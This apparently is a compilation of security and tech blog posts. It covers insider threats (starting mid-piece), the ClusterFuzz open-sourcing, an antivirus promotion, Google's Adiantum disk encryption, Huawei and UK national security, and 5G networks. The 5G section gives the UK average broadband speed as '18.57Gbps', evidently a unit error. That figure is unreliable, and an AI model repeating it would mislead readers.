Employees can be subject to far more intensive monitoring than remote intruders. Employee endpoints can be instrumented. Employee workspaces are instrumented via access cards, cameras at entry and exit points, and other measures.

Employers can cooperate with law enforcement to investigate and prosecute employees. They can control and deter theft and other activities.

In brief, insider theft, like all "close access" activities, is incredibly risky for the adversary. It is a win for everyone when the adversary must resort to using insiders to accomplish their mission. Digital and physical security must cooperate to leverage these advantages, while collaborating with human resources, legal, information technology, and business lines to wring the maximum results from this advantage.

Open sourcing ClusterFuzz



[Cross-posted from the Google Open-Source Blog]

Fuzzing is an automated method for detecting bugs in software that works by feeding unexpected inputs to a target program. It is effective at finding memory corruption bugs, which often have serious security implications. Manually finding these issues is both difficult and time consuming, and bugs often slip through despite rigorous code review practices. For software projects written in an unsafe language such as C or C++, fuzzing is a crucial part of ensuring their security and stability.

In order for fuzzing to be truly effective, it must be continuous, done at scale, and integrated into the development process of a software project. To provide these features for Chrome, we wrote ClusterFuzz, a fuzzing infrastructure running on over 25,000 cores. Two years ago, we began offering ClusterFuzz as a free service to open source projects through OSS-Fuzz.

Today, we’re announcing that ClusterFuzz is now open source and available for anyone to use.
We developed ClusterFuzz over eight years to fit seamlessly into developer workflows, and to make it dead simple to find bugs and get them fixed. ClusterFuzz provides end-to-end automation, from bug detection, to triage (accurate deduplication, bisection), to bug reporting, and finally to automatic closure of bug reports.

ClusterFuzz has found more than 16,000 bugs in Chrome and more than 11,000 bugs in over 160 open source projects integrated with OSS-Fuzz. It is an integral part of the development process of Chrome and many other open source projects. ClusterFuzz is often able to detect bugs hours after they are introduced and verify the fix within a day.

Check out our GitHub repository. You can try ClusterFuzz locally by following these instructions. In production, ClusterFuzz depends on some key Google Cloud Platform services, but you can use your own compute cluster. We welcome your contributions and look forward to any suggestions to help improve and extend this infrastructure. Through open sourcing ClusterFuzz, we hope to encourage all software developers to integrate fuzzing into their workflows.

Get TotalAV Essential AntiVirus for $19.99 (80% off)

The term “computer virus” calls to mind imagery of pathogenic creepy-crawlies bringing down a device’s operating system, their flagella wriggling as they multiply into hordes that infiltrate its chips and wires. And while it’s true that our computers can be infected with literal biological bacteria like staphylococci, per Science Illustrated, the threat of malicious codes and programs intent on corrupting data and files looms far larger: According to a recent study from the University of Maryland’s Clark School of Engineering, attacks on computers with internet access is virtually ceaseless, with an incident occurring every 39 seconds on average, affecting a third of Americans every year.

To read this article in full, please click here

Introducing Adiantum: Encryption for the Next Billion Users



Storage encryption protects your data if your phone falls into someone else's hands. Adiantum is an innovation in cryptography designed to make storage encryption more efficient for devices without cryptographic acceleration, to ensure that all devices can be encrypted.
Today, Android offers storage encryption using the Advanced Encryption Standard (AES). Most new Android devices have hardware support for AES via the ARMv8 Cryptography Extensions. However, Android runs on a wide range of devices. This includes not just the latest flagship and mid-range phones, but also entry-level Android Go phones sold primarily in developing countries, along with smart watches and TVs. In order to offer low cost options, device manufacturers sometimes use low-end processors such as the ARM Cortex-A7, which does not have hardware support for AES. On these devices, AES is so slow that it would result in a poor user experience; apps would take much longer to launch, and the device would generally feel much slower. So while storage encryption has been required for most devices since Android 6.0 in 2015, devices with poor AES performance (50 MiB/s and below) are exempt. We've been working to change this because we believe that encryption is for everyone.
In HTTPS encryption, this is a solved problem. The ChaCha20 stream cipher is much faster than AES when hardware acceleration is unavailable, while also being extremely secure. It is fast because it exclusively relies on operations that all CPUs natively support: additions, rotations, and XORs. For this reason, in 2014 Google selected ChaCha20 along with the Poly1305 authenticator, which is also fast in software, for a new TLS cipher suite to secure HTTPS internet connections. ChaCha20-Poly1305 has been standardized as RFC7539, and it greatly improves HTTPS performance on devices that lack AES instructions.
However, disk and file encryption present a special challenge. Data on storage devices is organized into "sectors" which today are typically 4096 bytes. When the filesystem makes a request to the device to read or write a sector, the encryption layer intercepts that request and converts between plaintext and ciphertext. This means that we must convert between a 4096-byte plaintext and a 4096-byte ciphertext. But to use RFC7539, the ciphertext must be slightly larger than the plaintext; a little space is needed for the cryptographic nonce and message integrity information. There are software techniques for finding places to store this extra information, but they reduce efficiency and can impose significant complexity on filesystem design.
Where AES is used, the conventional solution for disk encryption is to use the XTS or CBC-ESSIV modes of operation, which are length-preserving. Currently Android supports AES-128-CBC-ESSIV for full-disk encryption and AES-256-XTS for file-based encryption. However, when AES performance is insufficient there is no widely accepted alternative that has sufficient performance on lower-end ARM processors.
To solve this problem, we have designed a new encryption mode called Adiantum. Adiantum allows us to use the ChaCha stream cipher in a length-preserving mode, by adapting ideas from AES-based proposals for length-preserving encryption such as HCTR and HCH. On ARM Cortex-A7, Adiantum encryption and decryption on 4096-byte sectors is about 10.6 cycles per byte, around 5x faster than AES-256-XTS.
Unlike modes such as XTS or CBC-ESSIV, Adiantum is a true wide-block mode: changing any bit anywhere in the plaintext will unrecognizably change all of the ciphertext, and vice versa. It works by first hashing almost the entire plaintext using a keyed hash based on Poly1305 and another very fast keyed hashing function called NH. We also hash a value called the "tweak" which is used to ensure that different sectors are encrypted differently. This hash is then used to generate a nonce for the ChaCha encryption. After encryption, we hash again, so that we have the same strength in the decryption direction as the encryption direction. This is arranged in a configuration known as a Feistel network, so that we can decrypt what we've encrypted. A single AES-256 invocation on a 16-byte block is also required, but for 4096-byte inputs this part is not performance-critical.
Cryptographic primitives like ChaCha are organized in "rounds", with each round increasing our confidence in security at a cost in speed. To make disk encryption fast enough on the widest range of devices, we've opted to use the 12-round variant of ChaCha rather than the more widely used 20-round variant. Each round vastly increases the difficulty of attack; the 7-round variant was broken in 2008, and though many papers have improved on this attack, no attack on 8 rounds is known today. This ratio of rounds used to rounds broken today is actually better for ChaCha12 than it is for AES-256.
Even though Adiantum is very new, we are in a position to have high confidence in its security. In our paper, we prove that it has good security properties, under the assumption that ChaCha12 and AES-256 are secure. This is standard practice in cryptography; from "primitives" like ChaCha and AES, we build "constructions" like XTS, GCM, or Adiantum. Very often we can offer strong arguments but not a proof that the primitives are secure, while we can prove that if the primitives are secure, the constructions we build from them are too. We don't have to make assumptions about NH or the Poly1305 hash function; these are proven to have the cryptographic property ("ε-almost-∆-universality") we rely on.
Adiantum is named after the genus of the maidenhair fern, which in the Victorian language of flowers (floriography) represents sincerity and discretion.

Additional resources

The full details of our design, and the proof of security, are in our paper Adiantum: length-preserving encryption for entry-level processors in IACR Transactions on Symmetric Cryptology; this will be presented at the Fast Software Encryption conference (FSE 2019) in March.
Generic and ARM-optimized implementations of Adiantum are available in the Android common kernels v4.9 and higher, and in the mainline Linux kernel v5.0 and higher. Reference code, test vectors, and a benchmarking suite are available at https://github.com/google/adiantum.
Android device manufacturers can enable Adiantum for either full-disk or file-based encryption on devices with AES performance <= 50 MiB/sec and launching with Android Pie. Where hardware support for AES exists, AES is faster than Adiantum; AES must still be used where its performance is above 50 MiB/s. In Android Q, Adiantum will be part of the Android platform, and we intend to update the Android Compatibility Definition Document (CDD) to require that all new Android devices be encrypted using one of the allowed encryption algorithms.

Acknowledgements: This post leveraged contributions from Greg Kaiser and Luke Haviland. Adiantum was designed by Paul Crowley and Eric Biggers, implemented in Android by Eric Biggers and Greg Kaiser, and named by Danielle Roberts.

Is Huawei a Threat to UK National Security?

On 19th July 2018 the UK government, through the GCHQ backed Huawei Cyber Security Evaluation Centre, gave “limited assurance” that Huawei poses no threat to UK National Security. Since then the UK, EU, and NATO member government politicians and security services have all raised concerns about the nation-state cyber threat posed by the Chinese telecoms giant Huawei. 

There has been particular political unease around the Huawei provision of network infrastructure devices (i.e. switches and routers etc.) within the UK national infrastructure, devices which controls network traffic and capable of accessing the data that traverses them. Huawei has been operating in the UK market for 18 years, whether its their smart phones or a network devices, Huawei products are generally far cheaper than their competitors' equivalents. This has led to major telecoms providers such as BT, purchasing and implementing Huawei network devices within their telecommunications infrastructure and data centres, some of which are regarded as critical components within the UK national infrastructure. As such, Huawei has been subject to unfavourable security scrutiny, which has recently spilt out into political and media arenas. 


Huawei has always denied its products poses a threat, and there is no evidence of any malicious capability or activity publicly disclosure by any UK intelligence agencies or cyber security firms. But there is also the Chinese 2017 National Intelligence Law, which states that Chinese organisations are obliged to "support, cooperate with, and collaborate in, national intelligence work".

Three nations in the intelligence alliance ‘Five Eyes’, the United States, Australia, and New Zealand, have effectively prohibited the installation of Huawei equipment within their generation telecommunications equipment, namely 5G networks. The remaining two members of "Five Eyes", the United Kingdom and Canada, are expected to state their position within the coming months. The UK's National Cyber Security Centre has published warnings about the Chinese company's security standards. Elsewhere, nations including France, Germany and India have expressed their concerns about the use of Huawei equipment within their telecommunications 5G upgrades.


On 4th February, a leaked draft 'Huawei Cyber Security Evaluation Centre' 2019 report, said the issues and findings it had raised previously had not been fully addressed by Huawei, and was critical about the security of Huawei's technology.

Then on 6th February 2019,  a letter sent to MPs by Huawei was published. In it Huawei said it could take up to five years to address security issues raised by the Huawei Cyber Security Evaluation Centre, at a cost of $2bn (£1.5bn) of their own money. The president of Huawei's carrier business group also said the process of adapting its software and engineering processes to meet the UK's requirements was "like replacing components on a high-speed train in motion".

Huawei also made the following points in the letter to rebut the threat allegations,  "Huawei is a closely watched company.  Were Huawei ever to engage in malicious behaviour, it would not go unnoticed - and it would certainly destroy our business. For us, it is a matter of security or nothing; there is no third option. We choose to ensure security." The letter also addressed the Chinese 2017 National Intelligence Law, stating "no Chinese law obliges any company to install backdoors", a position they have backed up by an international law firm based in London. The letter went on to say that Huawei would refuse requests by the Chinese government to plant backdoors, eavesdropping or spyware on its telecommunications equipment.

The ball is now in the UK government's court, in the next couple of months we shall see if the UK Gov bans Huawei or continues to work with them to help assure the implied national security threat of their products. A ban could well result in Huawei pulling out of the UK market altogether, taking their billions of pounds of investment with them, and would likely negatively impact post Brexit trade deal negotiations between the UK and China, so we can expect the situation to become even more political in the short term.

Huawei Threat News Timeline
Who are Huawei?
  • Chinese multinational conglomerate which specialises in telecommunications equipment, consumer electronics and technology-based services and products.
  • HQ in Shenzhen, Guangdong
  • Founded in 1987 by Ren Zhengfei, a former engineer in the People's Liberation Army
  • Largest telecommunications-equipment manufacturer in the world
  • Overtook from Apple in 2018 as the second-largest manufacturer of smartphones in the world
  • 72nd on the Fortune Global 500 list
  • 180,000 employees
  • Chinese military remain an important customer for Huawei
  • Invests Billions into R&D around world
  • 3 Billions Customers Globally
  • Operating within the UK for 18 years
  • Made a five year commitment (2018 to 2023) to invest £3 billion in the UK.
  • Allegations its equipment may contain backdoors to allow unauthorised surveillance and/or data theft by the Chinese government and the People’s Liberation Army
The 5G Evolution
5G is expected emerge in the UK in late 2019 and early 2020, and will be much faster than 4G. The theoretical maximum speed for 4G is 1Gbps, while the theoretical maximum speed for 5G is 20Gbps, so 5G is potentially up to 20 times faster than 4G. Potentially faster than the UK average broadband speed, which stands at 18.57Gbps.

Mobile networks are changing with the arrival of 5G and the impact of this change will be felt across the industry. Adrian Taylor, regional VP of sales for A10 Networks, provides the follow insight about the impact of 5G on the market and how it will change the enterprise world.

5G and the Evolution of Mobile Networks
Fifth generation networks, just like the preceding 4G LTE and WiMAX networks, are expected to greatly increase available bandwidth, with improved end-to-end performance providing a better end-user experience. In the most basic of terms, 4G LTE was the long-term evolution of Radio Access Networks (RAN); 5G is the next iteration.

Wireless carriers have invested billions into their networks to support the ongoing demand for faster network speeds. They must look for ways to increase revenue while delivering more value to the end user. This continues to drive new devices into the hands of the consumer. The demand for increased efficiencies, bandwidth, and coverage has pushed carriers towards a decentralised deployment model.

Network Virtualisation Remains in The Early Stages
Service providers monitor and review technology for advancements that will help deliver faster and less expensive networks. Recently, they have looked into areas of Network Function Virtualisation (NFV) and automation to support their advancements. Mobile network operators are investing heavily in reducing delays and errors through repetitive processes as they build and add capacity to existing 4G networks.

Virtualisation and Software Defined Networks (SDN) improvements are driving a shift from hardware to software. SDN is promising, but it’s not an instant solution, as purpose-built hardware still remains the preferred choice. NFV and SDN have offered service providers an alternative to existing methods, including dedicated appliances sitting idle. However, it’s safe to say that the age of virtualisation remains in the early stages.


Hardware manufacturers and service providers are now betting on the acceptance and success of virtualised functions. Software development continues at breakneck speed to meet timelines and demands for more integrated solutions, which easily scale and reduce operational overheads at the same time.

The 5G Revenue Opportunity
5G’s impact is expected to extend beyond the typical mobile network carriers/operators such as Virgin Media, EE, O2, and Sky in the UK and overseas. It promises to enable increased connectivity and flexibility, that will drive additional functions throughout all supportive components of a mobile carrier’s network.

RAN access providers face the question of how to support the ever-increasing appetite for cutting the cord. How can we use our mobile devices in more ways than previously thought, as the end user goes about their daily tasks? This mobility, whether it’s tied to a carrier’s technology or even a simple Wi-Fi home network, reaches all corners of our day-to-day life.

This reach extends from the cloud to the data centre environments and continues to drive capacity needs, supported by both legacy appliances and the ever-increasing virtual environments. This continued appetite for consumption has opened up opportunities for all facets of technology and associated vendors.

5G Mobile Network Evolution
The continued expansion of 5G networks will have a revolutionary impact upon every mobile subscriber and business in the world.

The fundamental market forces of network evolution are not based on wired or wireless infrastructure. Companies are currently focused on upgrading existing mobile networks. Whereas at the exact same time, NFV, SDN and the global IoT industry are all preparing to utilise the next generation of mobile networks.

Software solutions are easier to move from concept to production and frequently offer a lower up-front investment cost. This all adds up to help drive increased functionality for all service providers, including the wired infrastructure.

5G and IoT will be demand-driven. As a result, the more the infrastructure expands to meet that demand, the more opportunities will be uncovered. It’s a positive feedback loop that will revolutionise how we think of the internet.

Get ready for a world that will be changed forever with the next generation mobile networks on the horizon.